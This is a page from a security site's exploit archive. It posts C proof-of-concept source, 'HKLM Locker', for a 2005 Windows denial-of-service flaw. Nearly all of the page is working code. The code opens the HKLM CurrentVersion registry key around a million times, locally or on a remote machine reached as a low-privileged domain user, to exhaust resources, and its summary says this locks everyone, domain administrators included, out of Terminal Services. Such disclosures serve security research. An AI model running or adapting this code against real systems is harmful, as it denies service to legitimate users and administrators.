首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HKLM CurrentVersion Locking
来源:www.vfocus.net 作者:vfocus 发布时间:2005-02-02  

HKLM CurrentVersion Locking

/*
Summary
If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too many times, roughly 2^16, from one process, even remotely, logged on as at least as Domain Guest, you are able to deny access to everyone through the terminal services including domain administrators, enterprise administrators, etc.

Locally, you are denying access to the users whose profiles are not yet created on particular machine, regardless of their privileges, because the profile cannot be created and request fails with "Insufficient resources" error.

Credit:
The information has been provided by Vladimir Kraljevic.

*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>

#define MAX_KEYS 1048576

void PrintLastErrorString(DWORD gla);

int _tmain(int argc, _TCHAR* argv[])
{
int i = 0;
int ixKey = 0;

_ftprintf(stdout,
_T("\n")
_T(".:. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic .:.\n")
_T("\n")
_T("..:: Usage ::..\n")
_T(" HKLMLocker.exe [machine name or its IP address]\n")
_T("\n")
_T("..:: Examples ::..\n")
_T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
_T(" HKLMLocker.exe 10.0.0.1\n")
_T("\n")
_T(" - if machine name is not supplied it'll run on local machine\n")
_T(" - in the first step it locks specified target, then waits for enter\n")
_T(" - when you press enter, it will close the resources and free the target\n")
_T("\n\n")
);

HKEY hkMachine=HKEY_LOCAL_MACHINE;
if(argc == 2) {
HKEY hk=NULL;
SetLastError(NO_ERROR);
if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
&hk)==ERROR_SUCCESS) {
hkMachine=hk;
_ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
argv[1]);
} else {
_ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine %s\n"), argv[1]);
PrintLastErrorString(GetLastError());
return -1;
}
}
_fputts(_T("\n"), stdout);

HKEY* pkey;
if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
_ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
sizeof(HKEY)*MAX_KEYS);
goto L_end;
}

ixKey=0;
for(i=0; i < MAX_KEYS; i++) {
LONG result;
HKEY hk;

result=RegOpenKeyEx(hkMachine,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
0,
KEY_READ,
&hk);
if(result==ERROR_SUCCESS) {
if(i%100==0)
_ftprintf(stdout, _T("\rOpening key % -16u"), i);
pkey[ixKey++]=hk;
} else {
PrintLastErrorString(GetLastError());
_ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u (thats OK for unpatched system :)"), i, ixKey);
break;
}
}

_fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource freeing\n"), stderr);
getch();
_fputts(_T("\n"), stdout);

for(i=0; i < ixKey; i++) {
if(i%100==0)
_ftprintf(stdout, _T("\rFreeing key % -16u"), i);
RegCloseKey(pkey[i]);
}
_ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);

free(pkey);

L_end:
if(hkMachine!=HKEY_LOCAL_MACHINE)
RegCloseKey(hkMachine);

_fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
getch();

return 0;
}

void PrintLastErrorString(DWORD gla)
{
if(gla==NO_ERROR)
return;
PVOID pbuffer=NULL;
if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
gla,
0,
(LPTSTR)&pbuffer,
65535/sizeof(TCHAR),
NULL)) {
_ftprintf(stderr, _T("\nERROR: Failed to format message for GetLastError() code %u (%#08x)\n"), gla, gla);
return;
}
_ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"), gla, gla, pbuffer);
LocalFree(pbuffer);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Gpsd remote format string expl
·Xpand Rally <= 1.0.0.0 serv
·Golden FTP Server v2.02b Remot
·Linux ncpfs Local Exploit
·Siteman <= 1.1.10 Remote Ad
·Newspost 'socket_getline()' Re
·/usr/bin/trn Local Root Exploi
·ngIRCd 'Log_Resolver()' Remote
·Berlios gpsd Remote Format Str
·Setuid perl 'PerlIO_Debug()' A
·AWStats configdir Remote Comma
·Setuid perl 'PerlIO_Debug()' L
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved